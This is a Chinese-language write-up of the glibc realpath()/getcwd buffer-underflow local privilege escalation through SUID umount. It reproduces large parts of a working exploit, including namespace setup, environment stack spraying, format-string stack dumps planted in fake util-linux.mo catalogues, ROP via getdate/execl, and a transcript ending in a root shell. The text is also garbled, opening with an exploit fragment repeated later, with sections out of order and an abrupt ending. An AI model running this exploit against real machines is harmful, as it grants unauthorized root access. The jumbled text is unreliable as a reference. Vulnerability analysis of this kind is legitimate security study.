// This is the stack address source for the target pointer.
         void *sourcePointerLocation=sourcePointerTarget-0xd0;

         void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
// This is the stack address of the libc start function return
// pointer.
         void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
         fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
             sourcePointerLocation, sourcePointerTarget,
             targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...

         void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
         void *stackWriteData[]={
             libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
             libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
        };
         fprintf(stderr, "Changing return address from %p to %p, %p\n",
             libcStartFunctionAddress, stackWriteData[0],
             stackWriteData[1]);
         escalationPhase++; // 阶段加 1 => case 2

         char *escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中
         createStackWriteFormatString(
             escalationString, 1024,
             exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
             sourcePointerTarget, // Base value to write
             exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
             libcStartFunctionReturnAddressSource,
            (unsigned short*)stackWriteData,
             sizeof(stackWriteData)/sizeof(unsigned short)
        );
         fprintf(stderr, "Using escalation string %s", escalationString);

         result=writeMessageCatalogue(
             secondPhaseCataloguePathname,
            (char*[]){
                 "%s: mountpoint not found",
                 "%s: not mounted",
                 "%s: target is busy\n       (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
            },
            (char*[]){
                 escalationString,
                 "BBBB5678%3$s\n",
                 "BBBBABCD%s\n"},
             3);
         break;
       case 2: // 阶段 2,修改了参数 “LANGUAGE”,从而触发了 util-linux.mo 的重新读入,然后将新的格式化字符串写入到另一个 util-linux.mo 中
       case 3: // 阶段 3,读取 umount 的输出以避免阻塞进程,同时等待 ROP 执行 fchown/fchmod 修改权限和所有者,最后退出
// Wait for pipe connection and output any result from mount.
         readDataLength=0;
         break;
        [...]
    }
     if(moveLength) {
       memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
       readDataLength-=moveLength;
    }
  }
}

attemptEscalationCleanup:
[...]
 return(escalationSuccess);
}

通过栈喷射在内存中放置大量的 “AANGUAGE=X.X” 环境变量,这些变量位于栈的上部,包含了大量的指针。当运行 umount 时,很可能会调用到 realpath() 并造成下溢。umount 调用 setlocale 设置 locale,接着调用 realpath() 检查路径的过程如下:


/*
* Check path -- non-root user should not be able to resolve path which is
* unreadable for him.
*/
static char *sanitize_path(const char *path)
{
  [...]
p = canonicalize_path_restricted(path); // 该函数会调用 realpath(),并返回绝对地址
  [...]
return p;
}

int main(int argc, char **argv)
{
[...]
setlocale(LC_ALL, ""); // 设置 locale,LC_ALL 变量的值会覆盖掉 LANG 和所有 LC_* 变量的值
[...]
if (all) {
[...]
} else if (argc < 1) {
[...]
} else if (alltargets) {
[...]
} else if (recursive) {
[...]
} else {
while (argc--) {
char *path = *argv;

if (mnt_context_is_restricted(cxt)
   && !mnt_tag_is_valid(path))
path = sanitize_path(path); // 调用 sanitize_path 函数检查路径

rc += umount_one(cxt, path);

if (path != *argv)
free(path);
argv++;
}
}

mnt_free_context(cxt);
return (rc < 256) ? rc : 255;
}

#include <locale.h>

char *setlocale(int category, const char *locale);

// util-linux/lib/canonicalize.c
char *canonicalize_path_restricted(const char *path)
{
[...]
canonical = realpath(path, NULL);
[...]
return canonical;
}

因为所布置的环境变量是错误的(正确的应为 “LANGUAGE=X.X”),程序会打印出错误信息,此时第一阶段的 message catalogue 文件被加载,里面的格式化字符串将内存 dump 到 stderr,然后正如上面所讲的设置 restricted 字段,并将一个 L 写到喷射栈中,将其中一个环境变量修改为正确的 “LANGUAGE=X.X”。

由于 LANGUAGE 发生了改变,umount 将尝试加载另一种语言的 catalogue。此时 umount 会有一个阻塞时间用于创建一个新的 message catalogue,漏洞利用得以同步进行,然后 umount 继续执行。

更新后的格式化字符串现在包含了当前程序的所有偏移。但是堆栈中却没有合适的指针用于写入,同时因为 fprintf 必须调用相同的格式化字符串,且每次调用需要覆盖不同的内存地址,这里采用一种简化的虚拟机的做法,将每次 fprintf 的调用作为时钟,路径名的长度作为指令指针。格式化字符串重复处理的过程将返回地址从主函数转移到了 getdate()execl() 两个函数中,然后利用这两个函数做 ROP。

被调用的程序文件中包含一个 shebang(即”#!”),使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限,使其变成一个 SUID 程序。当 umount 最初的调用者发现文件的权限发生了变化,它会做一些清理工作并调用 SUID 二进制文件的辅助功能,即一个 SUID shell,完成提权。

0×05 参考资料

0×00 漏洞描述

该漏洞涉及到 Linux 内核的 getcwd 系统调用和 glibc 的 realpath() 函数,可以实现本地提权。漏洞产生的原因是 getcwd 系统调用在 Linux-2.6.36 版本发生的一些变化,我们知道 getcwd 用于返回当前工作目录的绝对路径,但如果当前目录不属于当前进程的根目录,即从当前根目录不能访问到该目录,如该进程使用 chroot() 设置了一个新的文件系统根目录,但没有将当前目录的根目录替换成新目录的时候,getcwd 会在返回的路径前加上 (unreachable)。通过改变当前目录到另一个挂载的用户空间,普通用户也可以完成这样的操作。然后返回的这个非绝对地址的字符串会在 realpath() 函数中发生缓冲区下溢,从而导致任意代码执行,再利用 SUID 程序即可获得目标系统上的 root 权限。

0×01 漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 16.04 体系结构:64 位
调试器 gdb-peda 版本号:7.11.1
漏洞软件 glibc 版本号:2.23-0ubuntu9

漏洞发现者已经公开了漏洞利用代码,需要注意的是其所支持的系统被硬编码进了利用代码中,可看情况进行修改。exp


$ gcc -g exp.c
$ id
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls -l a.out
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out
$ ./a.out
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
# ls -l a.out
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out

过程是先利用漏洞将可执行程序自己变成一个 SUID 程序,然后执行该程序即可从普通用户提权到 root 用户。

0×02 漏洞分析

getcwd() 的原型如下:


#include <unistd.h>

char *getcwd(char *buf, size_t size);

它用于得到一个以 null 结尾的字符串,内容是当前进程的当前工作目录的绝对路径。并以保存到参数 buf 中的形式返回。

首先从 Linux 内核方面来看,在 2.6.36 版本的 vfs: show unreachable paths in getcwd and proc 这次提交,使得当目录不可到达时,会在返回的目录字符串前面加上 (unreachable)


// fs/dcache.c

static int prepend_unreachable(char **buffer, int *buflen)
{
return prepend(buffer, buflen, "(unreachable)", 13);
}

static int prepend(char **buffer, int *buflen, const char *str, int namelen)
{
*buflen -= namelen;
if (*buflen < 0)
return -ENAMETOOLONG;
*buffer -= namelen;
memcpy(*buffer, str, namelen);
return 0;
}

/*
* NOTE! The user-level library version returns a
* character pointer. The kernel system call just
* returns the length of the buffer filled (which
* includes the ending '\0' character), or a negative
* error value. So libc would do something like
*
* char *getcwd(char * buf, size_t size)
* {
* int retval;
*
* retval = sys_getcwd(buf, size);
* if (retval >= 0)
* return buf;
* errno = -retval;
* return NULL;
* }
*/
SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)
{
int error;
struct path pwd, root;
char *page = __getname();

if (!page)
return -ENOMEM;

rcu_read_lock();
get_fs_root_and_pwd_rcu(current->fs, &root, &pwd);

error = -ENOENT;
if (!d_unlinked(pwd.dentry)) {
unsigned long len;
char *cwd = page + PATH_MAX;
int buflen = PATH_MAX;

prepend(&cwd, &buflen, "\0", 1);
error = prepend_path(&pwd, &root, &cwd, &buflen);
rcu_read_unlock();

if (error < 0)
goto out;

/* Unreachable from current root */
if (error > 0) {
error = prepend_unreachable(&cwd, &buflen); // 当路径不可到达时,添加前缀
if (error)
goto out;
}

error = -ERANGE;
len = PATH_MAX + page - cwd;
if (len <= size) {
error = len;
if (copy_to_user(buf, cwd, len))
error = -EFAULT;
}
} else {
rcu_read_unlock();
}

out:
__putname(page);
return error;
}

可以看到在引进了 unreachable 这种情况后,仅仅判断返回值大于零是不够的,它并不能很好地区分开究竟是绝对路径还是不可到达路径。然而很可惜的是,glibc 就是这样做的,它默认了返回的 buf 就是绝对地址。当然也是由于历史原因,在修订 getcwd 系统调用之前,glibc 中的 getcwd() 库函数就已经写好了,于是遗留下了这个不匹配的问题。

从 glibc 方面来看,由于它仍然假设 getcwd 将返回绝对地址,所以在函数 realpath() 中,仅仅依靠 name[0] != '/' 就断定参数是一个相对路径,而忽略了以 ( 开头的不可到达路径。

__realpath() 用于将 path 所指向的相对路径转换成绝对路径,其间会将所有的符号链接展开并解析 /.//../ 和多余的 /。然后存放到 resolved_path 指向的地址中,具体实现如下:


// stdlib/canonicalize.c

char *
__realpath (const char *name, char *resolved)
{
[...]
 if (name[0] != '/')   // 判断是否为绝对路径
  {
     if (!__getcwd (rpath, path_max))  // 调用 getcwd() 函数
{
 rpath[0] = '\0';
 goto error;
}
     dest = __rawmemchr (rpath, '\0');
  }
 else
  {
     rpath[0] = '/';
     dest = rpath + 1;
  }

 for (start = end = name; *start; start = end) // 每次循环处理路径中的一段
  {
    [...]
     /* Find end of path component. */
     for (end = start; *end && *end != '/'; ++end) // end 标记一段路径的末尾
/* Nothing. */;

     if (end - start == 0)
break;
     else if (end - start == 1 && start[0] == '.') // 当路径为 "." 的情况时
/* nothing */;
     else if (end - start == 2 && start[0] == '.' && start[1] == '.')  // 当路径为 ".." 的情况时
{
 /* Back up to previous component, ignore if at root already. */
 if (dest > rpath + 1)
   while ((--dest)[-1] != '/');    // 回溯,如果 rpath 中没有 '/',发生下溢出
}
     else  // 路径组成中没有 "." 和 ".." 的情况时,复制 name 到 dest
{
 size_t new_size;

 if (dest[-1] != '/')
   *dest++ = '/';
        [...]
}
  }
}

当传入的 name 不是一个绝对路径,比如 ../../xrealpath() 将会使用当前工作目录来进行解析,而且默认了它以 / 开头。解析过程是从后先前进行的,当遇到 ../ 的时候,就会跳到前一个 /,但这里存在一个问题,没有对缓冲区边界进行检查,如果缓冲区不是以 / 开头,则函数会越过缓冲区,发生溢出。所以当 getcwd 返回的是一个不可到达路径 (unreachable)/ 时,../../x 的第二个 ../ 就已经越过了缓冲区,然后 x 会被复制到这个越界的地址处。

0×03 补丁

漏洞发现者也给出了它自己的补丁,在发生溢出的地方加了一个判断,当 dest == rpath 的时候,如果 *dest != '/',则说明该路径不是以 / 开头,便触发报错。


--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000
+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000
@@ -91,6 +91,11 @@
goto error;
}
      dest = __rawmemchr (rpath, '\0');
+/* If path is empty, kernel failed in some ugly way. Realpath
+has no error code for that, so die here. Otherwise search later
+on would cause an underrun when getcwd() returns an empty string.
+Thanks Willy Tarreau for pointing that out. */
+     assert (dest != rpath);
    }
  else
    {
@@ -118,8 +123,17 @@
      else if (end - start == 2 && start[0] == '.' && start[1] == '.')
{
/* Back up to previous component, ignore if at root already. */
- if (dest > rpath + 1)
-   while ((--dest)[-1] != '/');
+ dest--;
+ while ((dest != rpath) && (*--dest != '/'));
+ if ((dest == rpath) && (*dest != '/') {
+   /* Return EACCES to stay compliant to current documentation:
+   "Read or search permission was denied for a component of the
+   path prefix." Unreachable root directories should not be
+   accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */
+   __set_errno (EACCES);
+   goto error;
+ }
+ dest++;
}
      else
{

但这种方案似乎并没有被合并。

最终采用的方案是直接从源头来解决,对 getcwd() 返回的路径 path 进行检查,如果确定 path[0] == '/',说明是绝对路径,返回。否则转到 generic_getcwd()(内部函数,源码里看不到)进行处理:


$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
index f545106289..866b9d26d5 100644
--- a/sysdeps/unix/sysv/linux/getcwd.c
+++ b/sysdeps/unix/sysv/linux/getcwd.c
@@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size)
  int retval;

  retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);
- if (retval >= 0)
+ if (retval > 0 && path[0] == '/')
    {
#ifndef NO_ALLOCATION
      if (buf == NULL && size == 0)
@@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size)
      return buf;
    }

- /* The system call cannot handle paths longer than a page.
-     Neither can the magic symlink in /proc/self. Just use the
+ /* The system call either cannot handle paths longer than a page
+     or can succeed without returning an absolute path. Just use the
    generic implementation right away. */
- if (errno == ENAMETOOLONG)
+ if (retval >= 0 || errno == ENAMETOOLONG)
    {
#ifndef NO_ALLOCATION
      if (buf == NULL && size == 0)

0×04 Exploit

umount 包含在 util-linux 中,为方便调试,我们重新编译安装一下:


$ sudo apt-get install dpkg-dev automake
$ sudo apt-get source util-linux
$ cd util-linux-2.27.1
$ ./configure
$ make && sudo make install
$ file /bin/umount
/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped

exp 主要分成两个部分:


int main(int argc, char **argv) {
[...]
 pid_t nsPid=prepareNamespacedProcess();
 while(excalateCurrentAttempt<escalateMaxAttempts) {
  [...]
   attemptEscalation();

  [...]
   if(statBuf.st_uid==0) {
     fprintf(stderr, "Executable now root-owned\n");
     goto escalateOk;
  }
}

preReturnCleanup:
[...]
 if(!exitStatus) {
   fprintf(stderr, "Cleanup completed, re-invoking binary\n");
   invokeShell("/proc/self/exe");
   exitStatus=1;
}

escalateOk:
 exitStatus=0;
 goto preReturnCleanup;
}
  • prepareNamespacedProcess():准备一个运行在自己 mount namespace 的进程,并设置好适当的挂载结构。该进程允许程序在结束时可以清除它,从而删除 namespace。

  • attemptEscalation():调用 umount 来获得 root 权限。

简单地说一下 mount namespace,它用于隔离文件系统的挂载点,使得不同的 mount namespace 拥有自己独立的不会互相影响的挂载点信息,当前进程所在的 mount namespace 里的所有挂载信息在 /proc/[pid]/mounts/proc/[pid]/mountinfo/proc/[pid]/mountstats 里面。每个 mount namespace 都拥有一份自己的挂载点列表,当用 clone 或者 unshare 函数创建了新的 mount namespace 时,新创建的 namespace 会复制走一份原来 namespace 里的挂载点列表,但从这之后,两个 namespace 就没有关系了。

首先为了提权,我们需要一个 SUID 程序,mount 和 umount 是比较好的选择,因为它们都依赖于 realpath() 来解析路径,而且能被所有用户使用。其中 umount 又最理想,因为它一次运行可以操作多个挂载点,从而可以多次触发到漏洞代码。

由于 umount 的 realpath() 的操作发生在堆上,第一步就得考虑怎样去创造一个可重现的堆布局。通过移除可能造成干扰的环境变量,仅保留 locale 即可做到这一点。locale 在 glibc 或者其它需要本地化的程序和库中被用来解析文本(如时间、日期等),它会在 umount 参数解析之前进行初始化,所以会影响到堆的结构和位于 realpath() 函数缓冲区前面的那些低地址的内容。漏洞的利用依赖于单个 locale 的可用性,在标准系统中,libc 提供了一个 /usr/lib/locale/C.UTF-8,它通过环境变量 LC_ALL=C.UTF-8 进行加载。

在 locale 被设置后,缓冲区下溢将覆盖 locale 中用于加载 national language support(NLS) 的字符串中的一个 /,进而将其更改为相对路径。然后,用户控制的 umount 错误信息的翻译将被加载,使用 fprintf() 函数的 %n 格式化字符串,即可对一些内存地址进行写操作。由于 fprintf() 所使用的堆栈布局是固定的,所以可以忽略 ASLR 的影响。于是我们就可以利用该特性覆盖掉 libmnt_context 结构体中的 restricted 字段:


// util-linux/libmount/src/mountP.h
struct libmnt_context
{
int action; /* MNT_ACT_{MOUNT,UMOUNT} */
int restricted; /* root or not? */

char *fstype_pattern; /* for mnt_match_fstype() */
char *optstr_pattern; /* for mnt_match_options() */

[...]
};

在安装文件系统时,挂载点目录的原始内容会被隐藏起来并且不可用,直到被卸载。但是,挂载点目录的所有者和权限没有被隐藏,其中 restricted 标志用于限制堆挂载文件系统的访问。如果我们将该值覆盖,umount 会误以为挂载是从 root 开始的。于是可以通过卸载 root 文件系统做到一个简单的 DoS(如参考文章中所示,可以在Debian下尝试)。

当然我们使用的 Ubuntu16.04 也是在漏洞利用支持范围内的:


static char* osSpecificExploitDataList[]={
// Ubuntu Xenial libc=2.23-0ubuntu9
   "\"16.04.3 LTS (Xenial Xerus)\"",
   "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
   "_nl_load_locale_from_archive",
   "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00"
};

prepareNamespacedProcess() 函数如下所示:


static int usernsChildFunction() {
[...]
 int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL); // 将 tmpfs 类型的文件系统 tmpfs 挂载到 /tmp
[...]
}

pid_t prepareNamespacedProcess() {
 if(namespacedProcessPid==-1) {
  [...]
   namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
       CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL); // 调用 clone() 创建进程,新进程执行函数 usernsChildFunction()
  [...]
 char pathBuffer[PATH_MAX];
 int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
    namespacedProcessPid);
 char *namespaceMountBaseDir=strdup(pathBuffer); // /proc/[pid]/cwd 是一个符号连接, 指向进程当前的工作目录

// Create directories needed for umount to proceed to final state
// "not mounted".
 createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); // 在 cwd 目录下递归创建 (unreachable)/x。下同
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
 createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
 createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
 createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

// Create symlink to trigger underflows.
 result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
     namespaceMountBaseDir);
 result=symlink(osReleaseExploitData[1], pathBuffer); // 创建名为 pathBuffer 的符号链接
[...]

// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
     namespaceMountBaseDir, osReleaseExploitData[2]); // 覆盖 "restricted" 标志将赋予 umount 访问已装载文件系统的权限

[...]
 char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
 char *stackDumpStrEnd=stackDumpStr;
 stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
    ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
 for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { // 通过格式化字符串 dump 栈数据,以对抗 ASLR
   memcpy(stackDumpStrEnd, "%016lx", 6);
   stackDumpStrEnd+=6;
}

[...]
 result=writeMessageCatalogue(pathBuffer,
    (char*[]){
         "%s: mountpoint not found",
         "%s: not mounted",
         "%s: target is busy\n       (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
    },
    (char*[]){"1234", stackDumpStr, "5678"},
     3); // 伪造一个 catalogue,将上面的 stackDumpStr 格式化字符串写进去

[...]
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
     namespaceMountBaseDir, osReleaseExploitData[2]);
 secondPhaseTriggerPipePathname=strdup(pathBuffer); // 创建文件

[...]
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
     namespaceMountBaseDir, osReleaseExploitData[2]);
 secondPhaseCataloguePathname=strdup(pathBuffer); // 创建文件

 return(namespacedProcessPid); // 返回子进程 ID
}

所创建的各种类型文件如下:


$ find /proc/10173/cwd/ -type d
/proc/10173/cwd/
/proc/10173/cwd/(unreachable)
/proc/10173/cwd/(unreachable)/tmp
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES
/proc/10173/cwd/(unreachable)/x
$ find /proc/10173/cwd/ -type f
/proc/10173/cwd/DATEMSK
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES/util-linux.mo
/proc/10173/cwd/ready
$ find /proc/10173/cwd/ -type l
/proc/10173/cwd/(unreachable)/tmp/down
$ find /proc/10173/cwd/ -type p
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-linux.mo

然后在父进程里可以对子进程进行设置,通过设置 setgroups 为 deny,可以限制在新 namespace 里面调用 setgroups() 函数来设置 groups;通过设置 uid_mapgid_map,可以让子进程设置好挂载点。结果如下:


$ cat /proc/10173/setgroups
deny
$ cat /proc/10173/uid_map
        0       999         1
$ cat /proc/10173/gid_map
        0       999         1

这样准备工作就做好了。进入第二部分 attemptEscalation() 函数:


int attemptEscalation() {
[...]
 pid_t childPid=fork();
 if(!childPid) {
  [...]
   result=chdir(targetCwd); // 改变当前工作目录为 targetCwd

// Create so many environment variables for a kind of "stack spraying".
   int envCount=UMOUNT_ENV_VAR_COUNT;
   char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
   umountEnv[envCount--]=NULL;
   umountEnv[envCount--]="LC_ALL=C.UTF-8";
   while(envCount>=0) {
     umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部
  }
// Invoke umount first by overwriting heap downwards using links
// for "down", then retriggering another error message ("busy")
// with hopefully similar same stack layout for other path "/".
   char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
   result=execve(umountArgs[0], umountArgs, umountEnv);
}
[...]
 int escalationPhase=0;
[...]
 while(1) {
   if(escalationPhase==2) { // 阶段 2 => case 3
     result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
    [...]
     escalationPhase++;
  }

// Wait at most 10 seconds for IO.
   result=poll(pollFdList, 1, 10000);
  [...]
// Perform the IO operations without blocking.
   if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
     result=read(
         pollFdList[0].fd, readBuffer+readDataLength,
         sizeof(readBuffer)-readDataLength);
    [...]
     readDataLength+=result;

// Handle the data depending on escalation phase.
     int moveLength=0;
     switch(escalationPhase) {
       case 0: // Initial sync: read A*8 preamble. // 阶段 0,读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble
        [...]
         char *preambleStart=memmem(readBuffer, readDataLength,
             "AAAAAAAA", 8); // 查找内存,设置 preambleStart
        [...]
// We found, what we are looking for. Start reading the stack.
         escalationPhase++; // 阶段加 1 => case 1
         moveLength=preambleStart-readBuffer+8;
       case 1: // Read the stack. // 阶段 1,利用格式化字符串读出栈数据,计算出 libc 等有用的地址以对付 ASLR
// Consume stack data until or local array is full.
         while(moveLength+16<=readDataLength) { // 读取栈数据直到装满
           result=sscanf(readBuffer+moveLength, "%016lx",
              (int*)(stackData+stackDataBytes));
          [...]
           moveLength+=sizeof(long)*2;
           stackDataBytes+=sizeof(long);
// See if we reached end of stack dump already.
           if(stackDataBytes==sizeof(stackData))
             break;
        }
         if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立,即所有数据已经读完
           break;

// All data read, use it to prepare the content for the next phase.
         fprintf(stderr, "Stack content received, calculating next phase\n");

         int *exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址

// This is the address, where source Pointer is pointing to.
         void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
// This is the stack address source for the target pointer.
         void *sourcePointerLocation=sourcePointerTarget-0xd0;

         void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
// This is the stack address of the libc start function return
// pointer.
         void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
         fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
             sourcePointerLocation, sourcePointerTarget,
             targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...

         void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
         void *stackWriteData[]={
             libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
             libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
        };
         fprintf(stderr, "Changing return address from %p to %p, %p\n",
             libcStartFunctionAddress, stackWriteData[0],
             stackWriteData[1]);
         escalationPhase++; // 阶段加 1 => case 2

         char *escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中
         createStackWriteFormatString(
             escalationString, 1024,
             exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
             sourcePointerTarget, // Base value to write
             exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
             libcStartFunctionReturnAddressSource,
            (unsigned short*)stackWriteData,
             sizeof(stackWriteData)/sizeof(unsigned short)
        );
         fprintf(stderr, "Using escalation string %s", escalationString);

         result=writeMessageCatalogue(
             secondPhaseCataloguePathname,
            (char*[]){
                 "%s: mountpoint not found",
                 "%s: not mounted",
                 "%s: target is busy\n       (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
            },
            (char*[]){
                 escalationString,
                 "BBBB5678%3$s\n",
                 "BBBBABCD%s\n"},
             3);
         break;
       case 2: // 阶段 2,修改了参数 “LANGUAGE”,从而触发了 util-linux.mo 的重新读入,然后将新的格式化字符串写入到另一个 util-linux.mo 中
       case 3: // 阶段 3,读取 umount 的输出以避免阻塞进程,同时等待 ROP 执行 fchown/fchmod 修改权限和所有者,最后退出
// Wait for pipe connection and output any result from mount.
         readDataLength=0;
         break;
        [...]
    }
     if(moveLength) {
       memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
       readDataLength-=moveLength;
    }
  }
}

attemptEscalationCleanup:
[...]
 return(escalationSuccess);
}

通过栈喷射在内存中放置大量的 “AANGUAGE=X.X” 环境变量,这些变量位于栈的上部,包含了大量的指针。当运行 umount 时,很可能会调用到 realpath() 并造成下溢。umount 调用 setlocale 设置 locale,接着调用 realpath() 检查路径的过程如下:


/*
* Check path -- non-root user should not be able to resolve path which is
* unreadable for him.
*/
static char *sanitize_path(const char *path)
{
  [...]
p = canonicalize_path_restricted(path); // 该函数会调用 realpath(),并返回绝对地址
  [...]
return p;
}

int main(int argc, char **argv)
